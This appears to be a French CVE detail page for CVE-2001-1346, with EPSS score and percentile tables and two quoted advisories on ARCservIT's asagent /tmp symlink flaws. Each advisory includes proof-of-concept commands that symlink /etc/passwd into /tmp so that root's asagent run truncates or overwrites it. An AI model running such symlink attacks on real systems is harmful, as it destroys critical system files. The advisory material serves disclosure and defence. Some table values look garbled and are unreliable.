CVE-2001-1346 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.07%	–
2023-07-16	–	–	–	0.07%	–
2023-08-27	–	–	–	0.07%	–
2023-09-10	–	–	–	0.07%	–
2024-02-11	–	–	–	0.07%	–
2024-03-31	–	–	–	0.07%	–
2024-06-02	–	–	–	0.07%	–
2024-07-14	–	–	–	0.07%	–
2024-08-04	–	–	–	0.07%	–
2024-08-11	–	–	–	0.07%	–
2024-11-10	–	–	–	0.07%	–
2025-01-19	–	–	–	0.07%	–
2025-01-19	–	–	–	0.07%	–
2025-03-18	–	–	–	–	0.23%
2025-03-30	–	–	–	–	0.23%
2025-04-06	–	–	–	–	0.23%
2025-04-06	–	–	–	–	0.23,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	28%
2023-07-16	29%
2023-08-27	28%
2023-09-10	29%
2024-02-11	28%
2024-03-31	29%
2024-06-02	3%
2024-07-14	31%
2024-08-04	3%
2024-08-11	31%
2024-11-10	32%
2025-01-19	33%
2025-01-19	33%
2025-03-18	43%
2025-03-30	42%
2025-04-06	43%
2025-04-06	43%

source: https://www.securityfocus.com/bid/2741/info ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to overwrite arbitrary files. When it runs for the first time, 'asagent', opens (and truncates it if it exists) a file in /tmp called 'asagent.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file. This may allow malicious local users to overwrite critical system files. As user: je@boxname~> ln -s /etc/passwd /tmp/asagent.tmp And root: root@boxname# /usr/CYEagent/asagent start CA Universal Agent ADV v1.39 started on openview SunOS 5.8 Generic_108528-07 sun4u ARCserveIT Universal Agent started... Then, je@boxname~> ls -la /etc/passwd -r--r--r-- 1 0 sys 0 May 9 11:59 /etc/passwd

source: https://www.securityfocus.com/bid/2748/info ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to corrupt arbitrary files. When it runs with the parameters 'inet add', 'asagent', opens (and overwrites it if it exists) a file in /tmp called 'inetd.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file. This may allow malicious local users to corrupt critical system files. je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp And root: root@boxname# /usr/CYEagent/asagent inet add Then, je@boxname~> cat /etc/passwd asagentd 6051/tcp # ARCserve agent asagentd 6051/udp # ARCserve agent